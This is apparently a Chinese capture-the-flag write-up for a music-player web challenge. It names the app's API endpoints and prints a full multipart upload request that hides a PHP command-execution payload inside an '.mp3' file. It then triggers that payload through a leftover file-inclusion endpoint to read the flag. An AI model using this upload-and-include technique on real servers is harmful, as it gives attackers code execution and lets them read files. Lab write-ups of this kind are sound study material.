白帽小 K 的故事（1）
提示是接口，接口的话我不了解，js代码我也看不懂，只能问ai了。。。
理解接口
接口简单来说就是前端把数据发给一个页面，后端处理后再返回数据
fetchList()
作用：从后端获取音乐文件列表并渲染到页面上。
playMusic(filename, itemDiv)
作用：播放指定的音乐文件，并更新界面高亮当前播放项。
uploadFiles(files)
作用：将用户选择的 MP3 文件逐个上传到后端。
fetchload(file) （标注 TODO）
作用：这是一个待删除的测试函数，用于向后端请求某个文件的内容（可能是读取文件元数据或加载歌词等）。
比如我们访问一下fetchList对应的页面/v1/list
发现这个页面返回了当前所有的歌曲
再比如我想上传音乐，就访问/v1/upload
这里的请求包需要添加
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJ2EVGl79cALSQ7JI
------WebKitFormBoundaryJ2EVGl79cALSQ7JI
Content-Disposition: form-data; name="file"; filename="114.mp3"
Content-Type: audio/mpeg
<?php system("cat /flag");?>
------WebKitFormBoundaryJ2EVGl79cALSQ7JI--
才能上传成功(这里的cat /flag写错了请无视 QAQ)
再看一下playMusic对应的页面/v1/music，通过GET方法提交file的名字
就能读取到文件内容
通过这些例子可知端口实际上就是在处理数据而已，非常容易理解
后门端口
看一下这个要删除的端口
// TODO：
// 小岸同学到时候记得把这个函数删掉
async function fetchload(file) {
try {
const res = await fetch('/v1/onload', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: `file=${encodeURIComponent(file)}`
});
const data = await res.json();
if (data.success) {
console.log('File content:', data.success);
}
else {
console.error('Error loading file:', data.error);
}
}
catch (e) {
console.error('Request failed', e);
}
}
在控制台运行fetchload(star.mp3)
deepseek告诉我这个报错是因为服务器试图把 star.mp3 这个 MP3 音频文件当作 PHP 代码来执行，结果在文件里发现了非法字符（MP3 的二进制数据），所以报错
那太好了，直接改成file=91.mp3(这个91.mp3是cat /flag，之前的写错了。。。)
flag{f4f11b5a-393e-b807-c218-e695151ff5ee}
总结
这道题实际上是想考察我们对端口的理解，和文件上传关系不大
以及我们需要对js代码有一定的理解能力（但是我没有QAQ），以前我有点看不起js，现在看来还是有点重要的，应该多学点（但是现在还是靠ai吧嘻嘻）
转载请注明来源，欢迎对文章中的引用来源进行考证，欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论，也可以邮件至2679413348@qq.com